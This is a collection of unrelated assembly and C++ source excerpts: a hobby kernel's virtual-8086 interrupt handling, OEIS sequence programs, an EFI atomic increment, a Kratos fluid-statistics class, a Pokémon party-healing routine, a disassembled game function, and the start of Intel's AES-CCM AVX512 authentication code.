mov ds:[V86_TSS_BASE + TASKSTATESEG.mEip],eax
;you can modify tss in protect mode
;but you can not modify tss descriptor in gdt in protect mode ?????
mov eax,V86_TSS_BASE
mov word ptr ds:[ebx + kTssV86Descriptor + 2],ax
shr eax,16
mov byte ptr ds:[ebx + kTssV86Descriptor + 4],al
mov byte ptr ds:[ebx + kTssV86Descriptor + 7],ah
mov word ptr ds:[ebx + kTssV86Descriptor ],SYSTEM_TSS_SIZE - 1
mov ax,kTssV86Selector
mov word ptr ds:[tV86Entry + 2],ax
pop edi
pop esi
pop ebx
pop edx
pop ecx
ret
__initV86Tss endp
;useless function
__v86Entry proc
pushad
push es
push ds
push fs
push gs
;gs,fs,ds,es
mov eax,Kernel16
push eax
mov ecx,kernelData
push ecx
push eax
push eax
;ss
push eax
;esp
push dword ptr BIT16SEGMENT_SIZE - STACK_TOP_DUMMY
;eflags
pushfd
pop eax
or eax,23200h
push eax
;cs
mov eax,Kernel16
push eax
;eip
lea eax,__v86VMIntrProc
push eax
iretd
_v86EntryReturn:
pop gs
pop fs
pop ds
pop es
popad
ret
__v86Entry endp
Kernel ends
Kernel16 Segment public para use16
assume cs:Kernel16
;pushad or popfd will cause GP protection exp
align 10h
__v86VMIntrProc proc
mov eax,0
mov ds,ax
mov es,ax
;set int21h
mov eax,Kernel16
shl eax,16
mov ax,offset __v86Int21hProc
mov ecx,21h
shl ecx,2
mov dword ptr ds:[ecx],eax
;set int20h
mov eax,Kernel16
shl eax,16
mov ax,offset __v86Int20hProc
mov ecx,20h
shl ecx,2
mov dword ptr ds:[ecx],eax
mov ax,V86VMIPARAMS_SEG
mov fs,ax
mov ax,Kernel16
mov gs,ax
mov ax,kernelData
mov ds,ax
mov es,ax
mov ax,KERNEL_BASE_SEGMENT
mov ss,ax
mov esp,BIT16_STACK_TOP
mov byte ptr fs:[V86VMIPARAMS_OFFSET + V86VMIPARAMS._work],0
_v86VmIntCheckRequest:
mov ax,V86VMIPARAMS_SEG
mov fs,ax
mov ax,Kernel16
mov gs,ax
mov ax,kernelData
mov ds,ax
mov es,ax
mov ax,KERNEL_BASE_SEGMENT
mov ss,ax
mov esp,BIT16_STACK_TOP
mov ecx,8
_v86Wait:
nop
;fwait 指令会触发异常？
;fwait
;pause 指令会触发异常？
;db 0f3h,90h
;db 0f3h,90h
;db 0f3h,90h
loop _v86Wait
cmp byte ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._work],0
jz _v86VmIntCheckRequest
mov al,byte ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._intNumber]
cmp al,3
jz _v86VMInt3
mov byte ptr gs:[_v86VMIntNumber],al
mov byte ptr gs:[_v86VMIntOpcode],0cdh
jmp _v86VMIntSetRegs
_v86VMInt3:
mov byte ptr gs:[_v86VMIntOpcode],0cch
mov byte ptr gs:[_v86VMIntNumber],90h
_v86VMIntSetRegs:
push word ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._ds]
pop ds
push word ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._es]
pop es
mov eax,dword ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._eax]
mov ecx,dword ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._ecx]
mov edx,dword ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._edx]
mov ebx,dword ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._ebx]
mov esi,dword ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._esi]
mov edi,dword ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._edi]
;stc
_v86VMIntOpcode:
db 0cdh
_v86VMIntNumber:
db 13h
jc _V86VMIWorkError
;cmp ah,0
;jnz _V86VMIWorkError
mov ax,V86VMIPARAMS_SEG
mov fs,ax
mov dword ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._result],1
jmp _V86VMIWorkOK
_V86VMIWorkError:
mov ax,V86VMIPARAMS_SEG
mov fs,ax
mov dword ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._result],0
_V86VMIWorkOK:
mov byte ptr fs:[V86VMIPARAMS_OFFSET +V86VMIPARAMS._work],0
jmp _v86VmIntCheckRequest
__v86VMIntIretdAddr:
;iretd will cause GP exception
iretd
__v86VMIntrProc endp
align 10h
__v86VMLeave proc
MOV AX,KernelData
MOV DS,AX
MOV BX,DS:[_videoMode]
OR BX,4000H
MOV AX,4F02H
INT 10H
CMP AX,4FH
mov eax,dword ptr ss:[esp + TASKDOSPARAMS.address]
mov edx,eax
shr eax,4
mov ds,ax
and edx,0fh
mov dword ptr ds:[edx + DOS_PE_CONTROL.status],DOS_THREAD_TERMINATE_CONTROL_CODE
_v86LeaveWait:
nop
jmp _v86LeaveWait
__v86VMLeave endp
__v86Int20hProc proc
pushad
push ds
push es
mov ax,V86_TASKCONTROL_SEG
mov es,ax
;bp + 36 == ip
;bp + 38 == cs
;bp + 40 == eflags
mov bp,sp
add bp,36
movzx edx,word ptr ss:[bp+2]
shl edx,4
movzx eax,word ptr ss:[bp]
add edx,eax
shr edx,4
mov si,V86_TASKCONTROL_OFFSET
mov cx,LIMIT_V86_PROC_COUNT
_v86Int20DosTaskInfo:
push cx
push edx
push si
mov eax,dword ptr es:[si+DOS_PE_CONTROL.address]
cmp edx,eax
jb ___v86Int21ProcNotFoundCs
add eax,1000h
cmp edx,eax
ja ___v86Int21ProcNotFoundCs
pop si
pop edx
pop cx
;call __restoreScreen
MOV AX,KernelData
MOV DS,AX
MOV BX,DS:[_videoMode]
OR BX,4000H
MOV AX,4F02H
INT 10H
CMP AX,4FH
JNZ _int20RestoreVideoModeError
_int20RestoreVideoModeError:
mov dword ptr es:[si + DOS_PE_CONTROL.status],DOS_THREAD_TERMINATE_CONTROL_CODE
_v86Int20WaitEnd:
wait
nop
jmp _v86Int20WaitEnd
jmp __v86Int20ProcEnd
___v86Int20ProcNotFoundCs:
pop si
add si,sizeof DOS_PE_CONTROL
pop edx
pop cx
loop _v86Int20DosTaskInfo
__v86Int20ProcEnd:
pop es
pop ds
popad
iret
__v86Int20hProc endp
__v86Int21hProc proc
pushad
push ds
push es
cmp ah,4ch
jnz __v86Int21ProcEnd
mov ax,V86_TASKCONTROL_SEG
mov es,ax
;bp + 36 == ip
;bp + 38 == cs
;bp + 40 == eflags
mov bp,sp
add bp,36
movzx edx,word ptr ss:[bp+2]
shl edx,4
movzx eax,word ptr ss:[bp]
add edx,eax
shr edx,4
mov si,V86_TASKCONTROL_OFFSET
mov ecx,LIMIT_V86_PROC_COUNT
_v86Int21DosTaskInfo:
push cx
push edx
push si
mov eax,dword ptr es:[si+DOS_PE_CONTROL.address]
cmp edx,eax
jb ___v86Int21ProcNotFoundCs
add eax,1000h
cmp edx,eax
ja ___v86Int21ProcNotFoundCs
pop si
pop edx
pop cx
;call __restoreScreen
MOV AX,KernelData
MOV DS,AX
MOV BX,DS:[_videoMode]
OR BX,4000H
MOV AX,4F02H
INT 10H
CMP AX,4FH
JNZ _int21RestoreVideoModeError
_int21RestoreVideoModeError:
mov dword ptr es:[si + DOS_PE_CONTROL.status],DOS_THREAD_TERMINATE_CONTROL_CODE
_v86Int21WaitEnd:
wait
nop
jmp _v86Int21WaitEnd
jmp __v86Int21ProcEnd
___v86Int21ProcNotFoundCs:
pop si
add si,sizeof DOS_PE_CONTROL
pop edx
pop cx
loop _v86Int21DosTaskInfo
__v86Int21ProcEnd:
pop es
pop ds
popad
iret
__v86Int21hProc endp
__v86TssProc proc
;mov ax,3
;int 10h
iret
jmp __v86TssProc
__v86TssProc endp
__restoreScreen proc
push ax
push cx
push dx
push bx
push es
mov ax,kernelData
mov es,ax
mov ax,4f02h
mov bx,4000h
or bx,word ptr es:[_videoMode]
int 10h
mov AX, 4F04h
mov DX, 2 ;子功能--恢复
mov CX, 1 ;恢复硬件控制器状态
push word ptr VESA_STATE_SEG
pop es
mov BX, VESA_STATE_OFFSET
int 10h
pop es
pop bx
pop dx
pop cx
pop ax
ret
__restoreScreen endp
Kernel16 ends |
; A097454: a(n) = (number of nonprimes <= n) - (number of primes <= n).
; 1,0,-1,0,-1,0,-1,0,1,2,1,2,1,2,3,4,3,4,3,4,5,6,5,6,7,8,9,10,9,10,9,10,11,12,13,14,13,14,15,16,15,16,15,16,17,18,17,18,19,20,21,22,21,22,23,24,25,26,25,26,25,26,27,28,29,30,29,30,31,32,31,32,31,32,33,34,35,36,35,36,37,38,37,38,39,40,41,42,41,42,43,44,45
cal $0,72731 ; Difference of numbers of composite and prime numbers <= n.
add $0,1
mov $1,$0
|
; Copyright (c) 2004, Intel Corporation
; All rights reserved. This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; InterlockedIncrement.Asm
;
; Abstract:
;
; InterlockedIncrement function
;
; Notes:
;
;------------------------------------------------------------------------------
.code
;------------------------------------------------------------------------------
; UINT32
; EFIAPI
; InterlockedIncrement (
; IN UINT32 *Value
; );
;------------------------------------------------------------------------------
InternalSyncIncrement PROC
lock inc dword ptr [rcx]
mov eax, [rcx]
ret
InternalSyncIncrement ENDP
END
|
// | / |
// ' / __| _` | __| _ \ __|
// . \ | ( | | ( |\__ `
// _|\_\_| \__,_|\__|\___/ ____/
// Multi-Physics
//
// License: BSD License
// Kratos default license: kratos/license.txt
//
// Main authors: Jordi Cotela
//
// System includes
// External includes
// Project includes
#include "includes/define.h"
#include "containers/variable.h"
#include "includes/model_part.h"
#include "utilities/openmp_utils.h"
#include "statistics_record.h"
#include "statistics_data.h"
#include "fluid_dynamics_application_variables.h"
namespace Kratos {
void StatisticsRecord::AddResult(StatisticsSampler::Pointer pResult)
{
KRATOS_TRY
KRATOS_ERROR_IF(mInitialized) << "Trying to add statistical data after Initialization of the internal storage." << std::endl;
std::size_t result_size = pResult->GetSize();
pResult->SetOffset(mDataBufferSize);
mDataBufferSize += result_size;
mAverageData.push_back(pResult);
KRATOS_CATCH("")
}
void StatisticsRecord::AddHigherOrderStatistic(StatisticsSampler::Pointer pResult)
{
KRATOS_TRY
KRATOS_ERROR_IF(mInitialized) << "Trying to add statistical data after Initialization of the internal storage." << std::endl;
std::size_t result_size = pResult->GetSize();
pResult->SetOffset(mDataBufferSize);
mDataBufferSize += result_size;
mHigherOrderData.push_back(pResult);
KRATOS_CATCH("")
}
void StatisticsRecord::InitializeStorage(ModelPart::ElementsContainerType& rElements)
{
mUpdateBuffer.resize(OpenMPUtils::GetNumThreads());
#pragma omp parallel
{
unsigned int k = OpenMPUtils::ThisThread();
mUpdateBuffer[k].resize(mDataBufferSize);
}
// Note: this should be done on a serial loop to avoid race conditions.
for (auto it_element = rElements.begin(); it_element != rElements.end(); ++it_element)
{
it_element->GetValue(TURBULENCE_STATISTICS_DATA).InitializeStorage(*it_element,mDataBufferSize);
}
mInitialized = true;
}
void StatisticsRecord::SampleIntegrationPointResults(ModelPart& rModelPart)
{
mRecordedSteps++;
ProcessInfo& r_process_info = rModelPart.GetProcessInfo();
std::vector<double> dummy;
int number_of_elements = rModelPart.GetCommunicator().LocalMesh().Elements().size();
#pragma omp parallel for
for( int i = 0; i < number_of_elements; i++)
{
auto it_elem = rModelPart.ElementsBegin() + i;
it_elem->GetValueOnIntegrationPoints(UPDATE_STATISTICS,dummy,r_process_info);
}
}
void StatisticsRecord::UpdateStatistics(Element* pElement)
{
KRATOS_DEBUG_ERROR_IF(!pElement->Has(TURBULENCE_STATISTICS_DATA))
<< "Trying to compute turbulent statistics, but " << pElement->Info()
<< " does not have TURBULENCE_STATISTICS_DATA defined." << std::endl;
auto &r_elemental_statistics = pElement->GetValue(TURBULENCE_STATISTICS_DATA);
r_elemental_statistics.UpdateMeasurement(*pElement, mAverageData, mHigherOrderData, mUpdateBuffer[OpenMPUtils::ThisThread()], mRecordedSteps);
}
std::vector<double> StatisticsRecord::OutputForTest(ModelPart::ElementsContainerType& rElements) const
{
std::vector<double> result;
for (auto it_element = rElements.begin(); it_element != rElements.end(); ++it_element )
{
auto& r_statistics = it_element->GetValue(TURBULENCE_STATISTICS_DATA);
for (std::size_t g = 0; g < r_statistics.NumberOfIntegrationPoints(); g++)
{
auto data_iterator = r_statistics.IntegrationPointData(g).begin();
for (auto it_average = mAverageData.begin(); it_average != mAverageData.end(); ++it_average)
{
for(std::size_t index = 0; index < it_average->GetSize(); index++)
{
result.push_back(it_average->Finalize(*data_iterator,mRecordedSteps));
++data_iterator;
}
}
for (auto it_higher_order = mHigherOrderData.begin(); it_higher_order != mHigherOrderData.end(); ++it_higher_order)
{
for(std::size_t index = 0; index < it_higher_order->GetSize(); index++)
{
result.push_back(it_higher_order->Finalize(*data_iterator,mRecordedSteps));
++data_iterator;
}
}
}
}
return result;
}
void StatisticsRecord::PrintToFile(const ModelPart& rModelPart, const std::string& rOutputFileName) const
{
// Open output file
std::stringstream file_name;
file_name << rOutputFileName;
if (rModelPart.GetCommunicator().TotalProcesses() > 1)
{
file_name << "_" << rModelPart.GetCommunicator().MyPID();
}
file_name << ".csv";
std::ofstream stats_file;
stats_file.open(file_name.str().c_str(), std::ios::out | std::ios::trunc);
// write header
std::string separator(", ");
stats_file << "Element Id" << separator << "Integration point" << separator;
stats_file << "x" << separator << "y" << separator << "z" << separator;
for (auto it_statistic = mAverageData.begin(); it_statistic != mAverageData.end(); ++it_statistic)
{
it_statistic->OutputHeader(stats_file,separator);
}
for (auto it_statistic = mHigherOrderData.begin(); it_statistic != mHigherOrderData.end(); ++it_statistic)
{
it_statistic->OutputHeader(stats_file,separator);
}
stats_file << "\n";
for (ModelPart::ElementsContainerType::const_iterator it = rModelPart.GetCommunicator().LocalMesh().ElementsBegin();
it != rModelPart.GetCommunicator().LocalMesh().ElementsEnd(); it++)
{
auto &r_elemental_statistics = it->GetValue(TURBULENCE_STATISTICS_DATA);
r_elemental_statistics.WriteToCSVOutput(stats_file, *it, mAverageData, mHigherOrderData, mRecordedSteps, separator);
}
stats_file.close();
}
} |
HealParty:
; Restore HP and PP.
ld hl, wPartySpecies
ld de, wPartyMon1HP
.healmon
ld a, [hli]
cp $ff
jr z, .done
push hl
push de
ld hl, wPartyMon1Status - wPartyMon1HP
add hl, de
xor a
ld [hl], a
push de
ld b, NUM_MOVES ; A Pokémon has 4 moves
.pp
ld hl, wPartyMon1Moves - wPartyMon1HP
add hl, de
ld a, [hl]
and a
jr z, .nextmove
dec a
ld hl, wPartyMon1PP - wPartyMon1HP
add hl, de
push hl
push de
push bc
ld hl, Moves
ld bc, MoveEnd - Moves
call AddNTimes
ld de, wcd6d
ld a, BANK(Moves)
call FarCopyData
ld a, [wcd6d + 5] ; PP is byte 5 of move data
pop bc
pop de
pop hl
inc de
push bc
ld b, a
ld a, [hl]
and $c0
add b
ld [hl], a
pop bc
.nextmove
dec b
jr nz, .pp
pop de
ld hl, wPartyMon1MaxHP - wPartyMon1HP
add hl, de
ld a, [hli]
ld [de], a
inc de
ld a, [hl]
ld [de], a
pop de
pop hl
push hl
ld bc, wPartyMon2 - wPartyMon1
ld h, d
ld l, e
add hl, bc
ld d, h
ld e, l
pop hl
jr .healmon
.done
xor a
ld [wWhichPokemon], a
ld [wd11e], a
ld a, [wPartyCount]
ld b, a
.ppup
push bc
call RestoreBonusPP
pop bc
ld hl, wWhichPokemon
inc [hl]
dec b
jr nz, .ppup
ret
|
; A128422: Projective plane crossing number of K_{4,n}.
; Submitted by Christian Krause
; 0,0,0,2,4,6,10,14,18,24,30,36,44,52,60,70,80,90,102,114,126,140,154,168,184,200,216,234,252,270,290,310,330,352,374,396,420,444,468,494,520,546,574,602,630,660,690,720,752,784,816,850,884,918,954,990,1026
bin $0,2
div $0,3
mul $0,2
|
; A124780: a(n) = gcd(A(n), A(n+2)) where A(n) = A000522(n) = Sum_{k=0..n} n!/k!.
; Submitted by Jamie Morken(w3)
; 1,2,5,2,1,2,1,10,1,2,13,2,5,2,1,2,1,10,1,2,1,2,5,26,1,2,1,10,1,2,1,2,5,2,37,2,13,10,1,2,1,2,5,2,1,2,1,10,1,26,1,2,5,2,1,2,1,10,1,2,1,2,65,2,1,2,1,10,1,2,1,74,5,2,1,26,1,10,1,2,1,2,5,2,1,2,1,10,13,2,1,2,5,2,1,2,1,10,1,2
mov $2,$0
seq $0,143918 ; G.f. A(x) satisfies: A(x) = 1/(1-x)^2 + x^2*A'(x).
mov $1,$0
add $2,3
gcd $1,$2
mov $0,$1
|
push rbp
mov rbp, rsp
push r14
push rbx
mov rbx, rdi
mov rax, qword [rbx]
call CCNode::getRotation
cvttss2si r14d, xmm0
mov rax, qword [rbx]
mov rdi, rbx
call GameObject::isFlip
movsxd rcx, r14d
imul rdx, rcx, 0xffffffffb60b60b7 ; this
shr rdx, 0x20 ; this
add edx, r14d ; this, these 3 make what seems to be x divided by 1.4
mov esi, edx
shr esi, 0x1f
sar edx, 0x6
add edx, esi
imul edx, edx, 0x5a
cmp ecx, edx
je loc_100342d5b
lea ecx, dword [r14-0x5b]
cmp ecx, 0xb3
sbb cl, cl
add r14d, 0x10d
cmp r14d, 0xb3
sbb dl, dl
or dl, cl
and dl, 0x1
xor al, dl
jmp loc_100342d7d
loc_100342d5b:
mov ecx, r14d ; CODE XREF=sub_100342cf0+68
neg ecx
cmovl ecx, r14d
cmp ecx, 0xb4
setne cl
sete dl
or cl, al
not al
or al, dl
and cl, al
xor cl, 0x1
mov eax, ecx
loc_100342d7d:
pop rbx ; CODE XREF=sub_100342cf0+105
pop r14
pop rbp
ret |
;;
;; Copyright (c) 2020, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "include/os.asm"
%include "job_aes_hmac.asm"
%include "mb_mgr_datastruct.asm"
%include "include/reg_sizes.asm"
%include "include/const.inc"
%include "include/memcpy.asm"
%ifndef AES128_CBC_MAC
%define AES128_CBC_MAC aes128_cbc_mac_vaes_avx512
%define SUBMIT_JOB_AES_CCM_AUTH submit_job_aes_ccm_auth_vaes_avx512
%define FLUSH_JOB_AES_CCM_AUTH flush_job_aes_ccm_auth_vaes_avx512
%endif
extern AES128_CBC_MAC
section .data
default rel
align 64
byte_len_to_mask_table:
dw 0x0000, 0x0001, 0x0003, 0x0007,
dw 0x000f, 0x001f, 0x003f, 0x007f,
dw 0x00ff, 0x01ff, 0x03ff, 0x07ff,
dw 0x0fff, 0x1fff, 0x3fff, 0x7fff,
dw 0xffff
align 64
byte64_len_to_mask_table:
dq 0x0000000000000000, 0x0000000000000001
dq 0x0000000000000003, 0x0000000000000007
dq 0x000000000000000f, 0x000000000000001f
dq 0x000000000000003f, 0x000000000000007f
dq 0x00000000000000ff, 0x00000000000001ff
dq 0x00000000000003ff, 0x00000000000007ff
dq 0x0000000000000fff, 0x0000000000001fff
dq 0x0000000000003fff, 0x0000000000007fff
dq 0x000000000000ffff, 0x000000000001ffff
dq 0x000000000003ffff, 0x000000000007ffff
dq 0x00000000000fffff, 0x00000000001fffff
dq 0x00000000003fffff, 0x00000000007fffff
dq 0x0000000000ffffff, 0x0000000001ffffff
dq 0x0000000003ffffff, 0x0000000007ffffff
dq 0x000000000fffffff, 0x000000001fffffff
dq 0x000000003fffffff, 0x000000007fffffff
dq 0x00000000ffffffff, 0x00000001ffffffff
dq 0x00000003ffffffff, 0x00000007ffffffff
dq 0x0000000fffffffff, 0x0000001fffffffff
dq 0x0000003fffffffff, 0x0000007fffffffff
dq 0x000000ffffffffff, 0x000001ffffffffff
dq 0x000003ffffffffff, 0x000007ffffffffff
dq 0x00000fffffffffff, 0x00001fffffffffff
dq 0x00003fffffffffff, 0x00007fffffffffff
dq 0x0000ffffffffffff, 0x0001ffffffffffff
dq 0x0003ffffffffffff, 0x0007ffffffffffff
dq 0x000fffffffffffff, 0x001fffffffffffff
dq 0x003fffffffffffff, 0x007fffffffffffff
dq 0x00ffffffffffffff, 0x01ffffffffffffff
dq 0x03ffffffffffffff, 0x07ffffffffffffff
dq 0x0fffffffffffffff, 0x1fffffffffffffff
dq 0x3fffffffffffffff, 0x7fffffffffffffff
dq 0xffffffffffffffff
align 16
len_mask:
dq 0xFFFFFFFFFFFFFFF0
align 16
len_masks:
dq 0x000000000000FFFF, 0x0000000000000000
dq 0x00000000FFFF0000, 0x0000000000000000
dq 0x0000FFFF00000000, 0x0000000000000000
dq 0xFFFF000000000000, 0x0000000000000000
dq 0x0000000000000000, 0x000000000000FFFF
dq 0x0000000000000000, 0x00000000FFFF0000
dq 0x0000000000000000, 0x0000FFFF00000000
dq 0x0000000000000000, 0xFFFF000000000000
dupw:
dq 0x0100010001000100, 0x0100010001000100
counter_mask:
dq 0xFFFFFFFFFFFFFF07, 0x0000FFFFFFFFFFFF
one: dq 1
two: dq 2
three: dq 3
four: dq 4
five: dq 5
six: dq 6
seven: dq 7
section .text
%define APPEND(a,b) a %+ b
%define NROUNDS 9 ; AES-CCM-128
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%else
%define arg1 rcx
%define arg2 rdx
%endif
%define state arg1
%define job arg2
%define len2 arg2
%define job_rax rax
%define tmp4 rax
%define auth_len_aad rax
%define min_idx rbp
%define flags rbp
%define lane r8
%define iv_len r9
%define auth_len r9
%define aad_len r10
%define init_block_addr r11
%define unused_lanes rbx
%define r rbx
%define tmp r12
%define tmp2 r13
%define tmp3 r14
%define good_lane r15
%define min_job r15
%define init_block0 xmm0
%define ccm_lens ymm1
%define min_len_idx xmm2
%define xtmp0 xmm3
%define xtmp1 xmm4
%define xtmp2 xmm5
%define ytmp3 ymm6
%define ytmp0 ymm3
%define ytmp1 ymm4
%define ytmp2 ymm5
%define ytmp3 ymm6
; STACK_SPACE needs to be an odd multiple of 8
; This routine and its callee clobbers all GPRs
struc STACK
_gpr_save: resq 8
_rsp_save: resq 1
endstruc
;;; ===========================================================================
;;; ===========================================================================
;;; MACROS
;;; ===========================================================================
;;; ===========================================================================
%macro ENCRYPT_SINGLE_BLOCK 2
%define %%KP %1
%define %%XDATA %2
vpxor %%XDATA, [%%KP + 0*(16*16)]
%assign i 1
%rep NROUNDS
vaesenc %%XDATA, [%%KP + i*(16*16)]
%assign i (i+1)
%endrep
vaesenclast %%XDATA, [%%KP + i*(16*16)]
%endmacro
; transpose keys and insert into key table
%macro INSERT_KEYS 6
%define %%KP %1 ; [in] GP reg with pointer to expanded keys
%define %%LANE %2 ; [in] GP reg with lane number
%define %%NKEYS %3 ; [in] number of round keys (numerical value)
%define %%COL %4 ; [clobbered] GP reg
%define %%ZTMP %5 ; [clobbered] ZMM reg
%define %%IA0 %6 ; [clobbered] GP reg
%assign ROW (16*16)
mov %%COL, %%LANE
shl %%COL, 4
lea %%IA0, [state + _aes_ccm_args_key_tab]
add %%COL, %%IA0
vmovdqu64 %%ZTMP, [%%KP]
vextracti64x2 [%%COL + ROW*0], %%ZTMP, 0
vextracti64x2 [%%COL + ROW*1], %%ZTMP, 1
vextracti64x2 [%%COL + ROW*2], %%ZTMP, 2
vextracti64x2 [%%COL + ROW*3], %%ZTMP, 3
vmovdqu64 %%ZTMP, [%%KP + 64]
vextracti64x2 [%%COL + ROW*4], %%ZTMP, 0
vextracti64x2 [%%COL + ROW*5], %%ZTMP, 1
vextracti64x2 [%%COL + ROW*6], %%ZTMP, 2
vextracti64x2 [%%COL + ROW*7], %%ZTMP, 3
mov %%IA0, 0x3f
kmovq k1, %%IA0
vmovdqu64 %%ZTMP{k1}{z}, [%%KP + 128]
vextracti64x2 [%%COL + ROW*8], %%ZTMP, 0
vextracti64x2 [%%COL + ROW*9], %%ZTMP, 1
vextracti64x2 [%%COL + ROW*10], %%ZTMP, 2
%endmacro
; copy IV's and round keys into NULL lanes
%macro COPY_IV_KEYS_TO_NULL_LANES 6
%define %%IDX %1 ; [in] GP with good lane idx (scaled x16)
%define %%NULL_MASK %2 ; [clobbered] GP to store NULL lane mask
%define %%KEY_TAB %3 ; [clobbered] GP to store key table pointer
%define %%XTMP1 %4 ; [clobbered] temp XMM reg
%define %%XTMP2 %5 ; [clobbered] temp XMM reg
%define %%MASK_REG %6 ; [in] mask register
vmovdqa64 %%XTMP1, [state + _aes_ccm_args_IV + %%IDX]
lea %%KEY_TAB, [state + _aes_ccm_args_key_tab]
kmovw DWORD(%%NULL_MASK), %%MASK_REG
%assign j 0 ; outer loop to iterate through round keys
%rep 15
vmovdqa64 %%XTMP2, [%%KEY_TAB + j + %%IDX]
%assign k 0 ; inner loop to iterate through lanes
%rep 16
bt %%NULL_MASK, k
jnc %%_skip_copy %+ j %+ _ %+ k
%if j == 0 ;; copy IVs for each lane just once
vmovdqa64 [state + _aes_ccm_args_IV + (k*16)], %%XTMP1
%endif
;; copy key for each lane
vmovdqa64 [%%KEY_TAB + j + (k*16)], %%XTMP2
%%_skip_copy %+ j %+ _ %+ k:
%assign k (k + 1)
%endrep
%assign j (j + 256)
%endrep
%endmacro
; clear IVs, block 0 and round key's in NULL lanes
%macro CLEAR_IV_KEYS_BLK0_IN_NULL_LANES 3
%define %%NULL_MASK %1 ; [clobbered] GP to store NULL lane mask
%define %%XTMP %2 ; [clobbered] temp XMM reg
%define %%MASK_REG %3 ; [in] mask register
vpxorq ZWORD(%%XTMP), ZWORD(%%XTMP)
kmovw DWORD(%%NULL_MASK), %%MASK_REG
%assign k 0 ; outer loop to iterate through lanes
%rep 16
bt %%NULL_MASK, k
jnc %%_skip_clear %+ k
;; clean lane block 0 and IV buffers
vmovdqa64 [state + _aes_ccm_init_blocks + (k*64)], ZWORD(%%XTMP)
vmovdqa64 [state + _aes_ccm_args_IV + (k*16)], %%XTMP
%assign j 0 ; inner loop to iterate through round keys
%rep NROUNDS + 2
vmovdqa64 [state + _aes_ccm_args_key_tab + j + (k*16)], %%XTMP
%assign j (j + 256)
%endrep
%%_skip_clear %+ k:
%assign k (k + 1)
%endrep
%endmacro
;;; ===========================================================================
;;; AES CCM auth job submit & flush
;;; ===========================================================================
;;; SUBMIT_FLUSH [in] - SUBMIT, FLUSH job selection
%macro GENERIC_SUBMIT_FLUSH_JOB_AES_CCM_AUTH_AVX 1
%define %%SUBMIT_FLUSH %1
mov rax, rsp
sub rsp, STACK_size
and rsp, -16
mov [rsp + _gpr_save + 8*0], rbx
mov [rsp + _gpr_save + 8*1], rbp
mov [rsp + _gpr_save + 8*2], r12
mov [rsp + _gpr_save + 8*3], r13
mov [rsp + _gpr_save + 8*4], r14
mov [rsp + _gpr_save + 8*5], r15
%ifndef LINUX
mov [rsp + _gpr_save + 8*6], rsi
mov [rsp + _gpr_save + 8*7], rdi
%endif
mov [rsp + _rsp_save], rax ; original SP
;; Find free lane
mov unused_lanes, [state + _aes_ccm_unused_lanes]
%ifidn %%SUBMIT_FLUSH, SUBMIT
mov lane, unused_lanes
and lane, 15
shr unused_lanes, 4
mov [state + _aes_ccm_unused_lanes], unused_lanes
add qword [state + _aes_ccm_num_lanes_inuse], 1
;; Copy job info into lane
mov [state + _aes_ccm_job_in_lane + lane*8], job
;; Insert expanded keys
mov tmp, [job + _aes_enc_key_expanded]
INSERT_KEYS tmp, lane, NUM_KEYS, tmp2, zmm4, tmp3
;; init_done = 0
mov word [state + _aes_ccm_init_done + lane*2], 0
lea tmp, [lane * 8]
vpxor init_block0, init_block0
vmovdqa [state + _aes_ccm_args_IV + tmp*2], init_block0
;; Prepare initial Block 0 for CBC-MAC-128
;; Byte 0: flags with L' and M' (AAD later)
;; Calculate L' = 15 - IV length - 1 = 14 - IV length
mov flags, 14
mov iv_len, [job + _iv_len_in_bytes]
sub flags, iv_len
;; Calculate M' = (Digest length - 2) / 2
mov tmp, [job + _auth_tag_output_len_in_bytes]
sub tmp, 2
shl tmp, 2 ; M' << 3 (combine 1xshr, to div by 2, and 3xshl)
or flags, tmp
;; Bytes 1 - 13: Nonce (7 - 13 bytes long)
;; Bytes 1 - 7 are always copied (first 7 bytes)
mov tmp, [job + _iv]
lea tmp2, [rel byte_len_to_mask_table]
